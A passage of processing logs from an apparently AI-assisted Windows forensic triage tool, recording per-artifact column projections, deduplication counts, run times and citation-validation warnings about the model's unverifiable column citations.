  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:58:07.880Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:58:07.884Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/runkeys.csv"
}
2026-06-13T11:58:07.887Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__runkeys.csv",
  "annotated_rows": 1,
  "artifact_key": "runkeys",
  "removed_records": 1,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T11:59:33.262Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 85.378646,
  "status": "success",
  "token_count": 360
}
2026-06-13T11:59:33.270Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "HKLM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "HKCU",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "RunOnce",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "vmtoolsd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'HKLM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'HKCU' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'RunOnce' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'vmtoolsd.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:59:33.274Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:59:33.757Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/tasks.csv"
}
2026-06-13T11:59:33.760Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__tasks.csv",
  "annotated_rows": 16,
  "artifact_key": "tasks",
  "removed_records": 43,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T12:01:20.050Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 106.774094,
  "status": "success",
  "token_count": 886
}
2026-06-13T12:01:20.056Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Update_Sysmon_Rules",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rsydow",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "HighestAvailable",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ProgramData",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "System",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "InteractiveTokenOrPassword",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "vssadmin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ShadowCopyVolume",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "date",
      "match_status": "exact",
      "matched_header": "date"
    },
    {
      "cited": "last_run_date",
      "match_status": "exact",
      "matched_header": "last_run_date"
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited column 'Update_Sysmon_Rules' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rsydow' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'HighestAvailable' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ProgramData' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'System' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'InteractiveTokenOrPassword' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'vssadmin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ShadowCopyVolume' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Auto_Update.bat' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:01:20.059Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:01:20.115Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/services.csv"
}
2026-06-13T12:01:20.119Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__services.csv",
  "annotated_rows": 414,
  "artifact_key": "services",
  "removed_records": 1235,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T12:04:17.949Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 177.883458,
  "status": "success",
  "token_count": 655
}
2026-06-13T12:04:17.957Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T12:04:17.961Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:04:18.085Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/shimcache.csv"
}
2026-06-13T12:04:18.088Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__shimcache.csv",
  "annotated_rows": 292,
  "artifact_key": "shimcache",
  "removed_records": 804,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T12:07:46.737Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 208.773261,
  "status": "success",
  "token_count": 1182
}
2026-06-13T12:07:46.744Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "warning_count": 1,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data."
  ]
}
2026-06-13T12:07:46.749Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:07:46.792Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "last_modified_timestamp",
    "last_modified_store_timestamp",
    "link_timestamp",
    "created_timestamp",
    "mtime_regf",
    "reference",
    "path",
    "language_code",
    "digest",
    "program_id",
    "pe_header_checksum",
    "pe_size_of_image",
    "product_name",
    "company_name",
    "file_size",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "name",
    "version",
    "publisher",
    "entry_type",
    "uninstall_key",
    "product_code",
    "package_code",
    "msi_package_code",
    "msi_package_code2"
  ],
  "missing_columns": [
    "ts",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent"
  ]
}
2026-06-13T12:07:46.827Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "last_modified_timestamp",
    "created_timestamp",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "company_name",
    "digest",
    "file_size",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/amcache.csv"
}
2026-06-13T12:07:46.830Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__amcache.csv",
  "annotated_rows": 28,
  "artifact_key": "amcache",
  "removed_records": 29,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/amcache.csv",
  "variant_columns": [
    "install_date",
    "last_modified_timestamp",
    "created_timestamp"
  ]
}
2026-06-13T12:09:20.421Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "duration_seconds": 93.667928,
  "status": "success",
  "token_count": 1328
}
2026-06-13T12:09:20.434Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "PSEXESVC.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "created_timestamp",
      "match_status": "exact",
      "matched_header": "created_timestamp"
    },
    {
      "cited": "last_modified_timestamp",
      "match_status": "exact",
      "matched_header": "last_modified_timestamp"
    },
    {
      "cited": "install_date",
      "match_status": "exact",
      "matched_header": "install_date"
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'PSEXESVC.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:09:20.437Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:09:20.444Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/userassist.csv"
}
2026-06-13T12:09:20.448Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__userassist.csv",
  "annotated_rows": 3,
  "artifact_key": "userassist",
  "removed_records": 4,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T12:12:19.707Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 179.266936,
  "status": "success",
  "token_count": 1139
}
2026-06-13T12:12:19.713Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "rsydow",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "application_focus_duration",
      "match_status": "exact",
      "matched_header": "application_focus_duration"
    },
    {
      "cited": "number_of_executions",
      "match_status": "exact",
      "matched_header": "number_of_executions"
    },
    {
      "cited": "application_focus_count",
      "match_status": "exact",
      "matched_header": "application_focus_count"
    },
    {
      "cited": "powershell.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ServerManager.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mmc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "regsvr32",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'rsydow' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'powershell.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ServerManager.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mmc.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'regsvr32' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:12:19.716Z analysis_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:12:19.728Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__recyclebin.csv",
  "artifact_key": "recyclebin",
  "projection_columns": [
    "ts",
    "path",
    "deleted_path",
    "filesize",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/recyclebin.csv"
}
2026-06-13T12:12:19.731Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__recyclebin.csv",
  "annotated_rows": 0,
  "artifact_key": "recyclebin",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/recyclebin.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T12:13:01.470Z analysis_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "duration_seconds": 41.743525,
  "status": "success",
  "token_count": 745
}
2026-06-13T12:13:01.477Z citation_validation
{
  "artifact_key": "recyclebin",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T12:13:01.481Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:13:01.489Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/browser.history.csv"
}
2026-06-13T12:13:01.492Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__browser.history.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T12:18:25.142Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "duration_seconds": 323.657128,
  "status": "success",
  "token_count": 1769
}
2026-06-13T12:18:25.148Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 17,
      "skipped": 0,
      "total": 17
    },
    "timestamps": {
      "checked": 19,
      "skipped": 0,
      "total": 19
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "team_admin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rsydow",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "nfury",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "from_url",
      "match_status": "exact",
      "matched_header": "from_url"
    },
    {
      "cited": "host",
      "match_status": "exact",
      "matched_header": "host"
    },
    {
      "cited": "visit_type",
      "match_status": "exact",
      "matched_header": "visit_type"
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'team_admin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rsydow' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:18:25.152Z analysis_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:18:25.157Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__browser.downloads.csv",
  "artifact_key": "browser.downloads",
  "projection_columns": [
    "ts_start",
    "ts_end",
    "browser",
    "path",
    "url",
    "size",
    "state",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/browser.downloads.csv"
}
2026-06-13T12:18:25.160Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__browser.downloads.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.downloads",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/browser.downloads.csv",
  "variant_columns": [
    "ts_start",
    "ts_end"
  ]
}
2026-06-13T12:20:55.124Z analysis_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "duration_seconds": 149.968771,
  "status": "success",
  "token_count": 630
}
2026-06-13T12:20:55.128Z citation_validation
{
  "artifact_key": "browser.downloads",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "nxlog",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_end",
      "match_status": "exact",
      "matched_header": "ts_end"
    },
    {
      "cited": "nxlog.conf",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_start",
      "match_status": "exact",
      "matched_header": "ts_start"
    },
    {
      "cited": "size",
      "match_status": "exact",
      "matched_header": "size"
    },
    {
      "cited": "state",
      "match_status": "exact",
      "matched_header": "state"
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data.",
    "Note: AI cited column 'nxlog' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nxlog.conf' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:20:55.130Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:20:55.137Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T12:20:55.140Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__jumplist.automatic_destination.csv",
  "annotated_rows": 1,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T12:23:39.959Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "duration_seconds": 164.825226,
  "status": "success",
  "token_count": 1397
}
2026-06-13T12:23:39.966Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "row_refs": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "rsydow",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "u_ex180625.log",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "u_ex180803.log",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "u_ex180807.log",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_atime",
      "match_status": "exact",
      "matched_header": "lnk_atime"
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "nxlog.conf",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "u_ex180508.log",
      "match_status": "unverifiable",
